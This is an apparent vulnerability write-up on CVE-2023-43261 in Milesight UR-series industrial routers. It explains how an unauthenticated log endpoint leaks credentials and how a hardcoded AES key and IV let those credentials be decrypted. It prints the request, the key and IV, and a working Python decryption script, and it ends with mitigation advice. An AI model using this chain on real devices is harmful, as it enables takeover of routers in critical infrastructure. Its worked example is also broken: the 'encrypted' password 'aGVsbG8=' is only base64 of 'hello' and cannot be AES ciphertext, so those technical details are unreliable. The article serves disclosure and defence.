Milesight Routers UR5X, UR32L, UR32, UR35, UR41 - Credential Leakage Through Unprotected System Logs and Weak Password Encryption

Credential Leakage Through Unprotected System Logs and Weak Password Encryption in Milesight Industrial Routers

Industrial cellular routers are the backbone of modern IoT infrastructure, enabling remote connectivity for critical systems such as smart grids, industrial automation, and remote monitoring. However, recent vulnerabilities in Milesight routers—specifically the UR5X, UR32L, UR32, UR35, and UR41 models—have exposed a dangerous flaw: credential leakage through unprotected system logs and weak password encryption. This vulnerability, identified as CVE-2023-43261, underscores how even minor design oversights can lead to full system compromise.

Exploitation Mechanism: Accessing Unprotected Log Files

At the heart of this vulnerability lies an exposed /lang/log/httpd.log endpoint. This file, intended for debugging and system monitoring, is accessible without authentication on many deployed devices. Attackers can simply send an HTTP GET request to:

GET /lang/log/httpd.log

When successful, the response contains raw logs from the router’s web server, including user login attempts. These logs are formatted in JSON-like strings, often containing sensitive fields such as:

• username: The user’s login identifier
• password: The encrypted password stored in the system

For example, a typical log entry might look like:

"username":"admin","password":"aGVsbG8="

While the password appears encrypted, it is not protected by strong cryptographic standards—instead, it uses a weak AES-CBC encryption with a hardcoded key and IV, which can be easily reversed.

Weak Encryption: The Decryption Key Revealed

The vulnerability is compounded by the use of a predictable encryption method:

KEY = b'1111111111111111'
IV = b'2222222222222222'

These constants are hardcoded in the firmware and are known to attackers through reverse engineering or public disclosures. This makes the encryption trivial to break, even without access to the device’s source code.

Using the pycryptodome library, an attacker can decrypt the password using a simple Python script:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

KEY = b'1111111111111111'
IV = b'2222222222222222'

def decrypt_password(password):
    try:
        decrypted = unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size)
        return decrypted.decode('utf-8')
    except ValueError:
        return None

This script takes a base64-encoded password string, decrypts it using the known key and IV, and returns the original plaintext password.

Real-World Impact: Full Access to Critical Infrastructure

Consider a scenario where a Milesight UR32L router is deployed in a remote water treatment facility. The device logs every login attempt, and an attacker discovers the /lang/log/httpd.log endpoint through a simple reconnaissance scan.

After retrieving the log file, the attacker extracts credentials:

username: admin
password: aGVsbG8=

Using the decryption script, the attacker reveals:

Decrypted password: hello

With this information, the attacker gains full administrative access to the router’s web interface, allowing them to:

• Modify network configurations
• Redirect traffic through malicious proxies
• Disable security features
• Deploy malware or backdoors

Once inside, the attacker can pivot to other devices on the same network, potentially compromising entire industrial systems.

Why This Vulnerability Is Dangerous

Several factors make CVE-2023-43261 particularly concerning:

Factor	Description
Default Credentials	Many routers ship with default credentials like admin:admin or admin:hello. These are often logged in the system logs.
Hardcoded Keys	Using static encryption keys violates fundamental security principles. Keys should be generated per device or user.
Unprotected Endpoints	Log files are not meant to be public. Their exposure is a direct violation of security-by-design.
Mass Deployment	Milesight routers are widely used in industrial settings. A single exploit can affect hundreds of devices.

Security Recommendations and Fixes

To mitigate this vulnerability, vendors and users must take proactive steps:

• Disable or restrict access to /lang/log/httpd.log via firewall rules or access control lists.
• Use dynamic encryption keys instead of hardcoded constants. Implement proper key management and encryption standards (e.g., AES-GCM).
• Sanitize log files by removing sensitive data before logging. Use redaction or anonymization techniques.
• Implement rate limiting and authentication for log access endpoints.
• Update firmware regularly and apply security patches promptly.

For users, conducting regular network scans using tools like Shodan or FOFA can help identify exposed devices. Once discovered, administrators should:

• Change default passwords immediately
• Disable unnecessary services
• Enable HTTPS and secure authentication

Conclusion: A Wake-Up Call for Industrial IoT Security

CVE-2023-43261 serves as a stark reminder that security in industrial IoT devices cannot be assumed. Even devices designed for robustness and reliability can harbor critical flaws due to poor design choices. The combination of unprotected log files and weak encryption demonstrates how a single oversight can lead to total system compromise.

As the industrial landscape grows more connected, developers and operators must prioritize security at every layer—from firmware design to deployment practices. The Milesight router vulnerability is not an isolated case; it is a pattern repeated across many IoT devices. Proactive monitoring, encryption best practices, and defense-in-depth strategies are no longer optional—they are essential.